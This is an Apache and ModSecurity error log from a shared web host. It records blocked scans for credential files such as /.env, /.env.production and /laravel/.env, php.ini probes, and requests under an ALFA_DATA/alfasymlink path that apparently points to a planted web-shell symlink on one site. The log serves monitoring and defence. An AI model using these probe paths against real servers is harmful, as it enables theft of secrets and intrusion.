[Mon Oct 26 20:54:49.921159 2026] [security2:error] [pid 3084053:tid 3084053] [client 46.151.178.15:33346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at_2WfCtl1PgaN9A_9xN1gAAADQ"]
[Mon Oct 26 20:54:49.922144 2026] [security2:error] [pid 3084053:tid 3084053] [client 46.151.178.15:33346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WfCtl1PgaN9A_9xN1gAAADQ"]
[Mon Oct 26 20:54:49.942562 2026] [security2:error] [pid 3130075:tid 3130075] [client 46.151.178.15:33360] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "at_2WbRvv9rueX6FuiObBQAAAAM"]
[Mon Oct 26 20:54:49.942793 2026] [security2:error] [pid 3130075:tid 3130075] [client 46.151.178.15:33360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "at_2WbRvv9rueX6FuiObBQAAAAM"]
[Mon Oct 26 20:54:49.943557 2026] [security2:error] [pid 3130075:tid 3130075] [client 46.151.178.15:33360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WbRvv9rueX6FuiObBQAAAAM"]
[Mon Oct 26 20:54:49.954002 2026] [security2:error] [pid 3117426:tid 3117426] [client 46.151.178.15:33374] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.prod"] [unique_id "at_2Wf5ZEdGRoel0j8ffcQAAAAg"]
[Mon Oct 26 20:54:49.954160 2026] [security2:error] [pid 3117426:tid 3117426] [client 46.151.178.15:33374] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.prod"] [unique_id "at_2Wf5ZEdGRoel0j8ffcQAAAAg"]
[Mon Oct 26 20:54:49.954930 2026] [security2:error] [pid 3117426:tid 3117426] [client 46.151.178.15:33374] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2Wf5ZEdGRoel0j8ffcQAAAAg"]
[Mon Oct 26 20:54:49.970811 2026] [security2:error] [pid 3122519:tid 3122519] [client 46.151.178.15:33378] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.dev"] [unique_id "at_2WcSPa3-L2OSmntaJGQAAAAI"]
[Mon Oct 26 20:54:49.971007 2026] [security2:error] [pid 3122519:tid 3122519] [client 46.151.178.15:33378] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.dev"] [unique_id "at_2WcSPa3-L2OSmntaJGQAAAAI"]
[Mon Oct 26 20:54:49.971765 2026] [security2:error] [pid 3122519:tid 3122519] [client 46.151.178.15:33378] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WcSPa3-L2OSmntaJGQAAAAI"]
[Mon Oct 26 20:54:50.017734 2026] [security2:error] [pid 3117428:tid 3117428] [client 46.151.178.15:33392] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "at_2WiWN_iofYZIHyv48eQAAAAs"]
[Mon Oct 26 20:54:50.017962 2026] [security2:error] [pid 3117428:tid 3117428] [client 46.151.178.15:33392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "at_2WiWN_iofYZIHyv48eQAAAAs"]
[Mon Oct 26 20:54:50.018804 2026] [security2:error] [pid 3117428:tid 3117428] [client 46.151.178.15:33392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WiWN_iofYZIHyv48eQAAAAs"]
[Mon Oct 26 20:54:50.110854 2026] [security2:error] [pid 3128624:tid 3128624] [client 46.151.178.15:33396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "at_2Wi-AKBd00cmosRNIMwAAAAE"]
[Mon Oct 26 20:54:50.111061 2026] [security2:error] [pid 3128624:tid 3128624] [client 46.151.178.15:33396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "at_2Wi-AKBd00cmosRNIMwAAAAE"]
[Mon Oct 26 20:54:50.111837 2026] [security2:error] [pid 3128624:tid 3128624] [client 46.151.178.15:33396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2Wi-AKBd00cmosRNIMwAAAAE"]
[Mon Oct 26 20:54:50.116428 2026] [security2:error] [pid 3098114:tid 3098114] [client 46.151.178.15:33412] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "at_2WoU8RArHmY5bTmWvywAAAAY"]
[Mon Oct 26 20:54:50.116628 2026] [security2:error] [pid 3098114:tid 3098114] [client 46.151.178.15:33412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "at_2WoU8RArHmY5bTmWvywAAAAY"]
[Mon Oct 26 20:54:50.117536 2026] [security2:error] [pid 3098114:tid 3098114] [client 46.151.178.15:33412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WoU8RArHmY5bTmWvywAAAAY"]
[Mon Oct 26 20:54:50.164147 2026] [security2:error] [pid 3130190:tid 3130190] [client 46.151.178.15:33426] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "at_2WsvNmC1F41VPQvufegAAAAo"]
[Mon Oct 26 20:54:50.164349 2026] [security2:error] [pid 3130190:tid 3130190] [client 46.151.178.15:33426] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "at_2WsvNmC1F41VPQvufegAAAAo"]
[Mon Oct 26 20:54:50.164559 2026] [security2:error] [pid 3098113:tid 3098113] [client 46.151.178.15:33428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/laravel/.env"] [unique_id "at_2WrHarSgES5WqcDhJbgAAAAU"]
[Mon Oct 26 20:54:50.164697 2026] [security2:error] [pid 3098113:tid 3098113] [client 46.151.178.15:33428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/laravel/.env"] [unique_id "at_2WrHarSgES5WqcDhJbgAAAAU"]
[Mon Oct 26 20:54:50.165261 2026] [security2:error] [pid 3130190:tid 3130190] [client 46.151.178.15:33426] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WsvNmC1F41VPQvufegAAAAo"]
[Mon Oct 26 20:54:50.165416 2026] [security2:error] [pid 3098113:tid 3098113] [client 46.151.178.15:33428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WrHarSgES5WqcDhJbgAAAAU"]
[Mon Oct 26 20:54:50.196106 2026] [security2:error] [pid 3084053:tid 3084053] [client 46.151.178.15:33436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "at_2WvCtl1PgaN9A_9xN1wAAADQ"]
[Mon Oct 26 20:54:50.196304 2026] [security2:error] [pid 3084053:tid 3084053] [client 46.151.178.15:33436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "at_2WvCtl1PgaN9A_9xN1wAAADQ"]
[Mon Oct 26 20:54:50.197047 2026] [security2:error] [pid 3084053:tid 3084053] [client 46.151.178.15:33436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_2WvCtl1PgaN9A_9xN1wAAADQ"]
[Mon Oct 26 20:54:58.133165 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.15:53868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/aliases
[Mon Oct 26 20:55:01.302280 2026] [authz_core:error] [pid 3130075:tid 3130075] [client 139.59.15.121:42548] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 20:55:02.155256 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.216.13.10:60392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:55:03.813541 2026] [authz_core:error] [pid 3122519:tid 3122519] [client 139.59.15.121:54578] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 20:55:06.153811 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 44.221.105.234:13535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:55:18.233098 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.201.155.215:31606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:55:22.143159 2026] [authz_core:error] [pid 3128624:tid 3128624] [client 66.132.172.47:31030] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:55:35.200056 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.211:23596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/dw_dmac_pci/uevent
[Mon Oct 26 20:55:37.964144 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 66.132.172.47:42310] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 20:55:50.261857 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.200.58.199:49937] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:55:52.266238 2026] [security2:error] [pid 3117426:tid 3117426] [client 216.244.66.250:35852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/sg_ses_microcode"] [unique_id "at_2mP5ZEdGRoel0j8ffdgAAAAg"]
[Mon Oct 26 20:55:52.266284 2026] [security2:error] [pid 3117426:tid 3117426] [client 216.244.66.250:35852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/sg_ses_microcode"] [unique_id "at_2mP5ZEdGRoel0j8ffdgAAAAg"]
[Mon Oct 26 20:55:54.141193 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.210:55136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/inet_diag/sections/__kcrctab_gpl
[Mon Oct 26 20:55:56.002036 2026] [security2:error] [pid 3098116:tid 3098116] [client 189.198.130.198:57100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at_2mzS1e-yu7xYT1dr8sAAAAAk"]
[Mon Oct 26 20:55:56.002083 2026] [security2:error] [pid 3098116:tid 3098116] [client 189.198.130.198:57100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at_2mzS1e-yu7xYT1dr8sAAAAAk"]
[Mon Oct 26 20:56:02.167540 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.221.222.168:13752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:56:06.194996 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 35.173.18.61:19304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:56:18.285009 2026] [ssl:error] [pid 3117428:tid 3117428] (22)Invalid argument: [client 3.226.34.98:54927] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:56:22.171673 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.6.97.88:37080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input5/device/driver/pcspkr/subsystem/devices/serial8250/driver/bind
[Mon Oct 26 20:56:26.199926 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 44.209.89.189:31133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:56:46.161122 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 45.156.128.211:49650] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:57:02.261837 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 18.206.47.187:4708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:57:06.134529 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.232.102.111:23966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:57:07.175439 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 185.191.171.13:42734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:57:12.333290 2026] [core:error] [pid 3130190:tid 3130190] (13)Permission denied: [client 185.191.171.11:16552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/iomem_reg_shift
[Mon Oct 26 20:57:14.215825 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 107.23.62.75:38876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:57:15.812958 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 164.92.211.98:33860] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:57:26.128793 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 34.226.89.140:6505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:57:26.129032 2026] [security2:error] [pid 3130190:tid 3130190] [client 34.226.89.140:6505] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ptmx/subsystem/tty6/subsystem/tty3/dev"] [unique_id "at_29svNmC1F41VPQvufhQAAAAo"]
[Mon Oct 26 20:57:26.129060 2026] [security2:error] [pid 3130190:tid 3130190] [client 34.226.89.140:6505] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ptmx/subsystem/tty6/subsystem/tty3/dev"] [unique_id "at_29svNmC1F41VPQvufhQAAAAo"]
[Mon Oct 26 20:57:46.128315 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.232.39.98:12360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:57:50.233021 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.216.86.144:52617] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:58:18.238949 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 34.194.14.255:20803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:58:22.166883 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.4.213.199:54186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:58:26.168628 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 35.169.119.108:1048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:58:34.135309 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 184.73.68.20:50263] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:13/eject
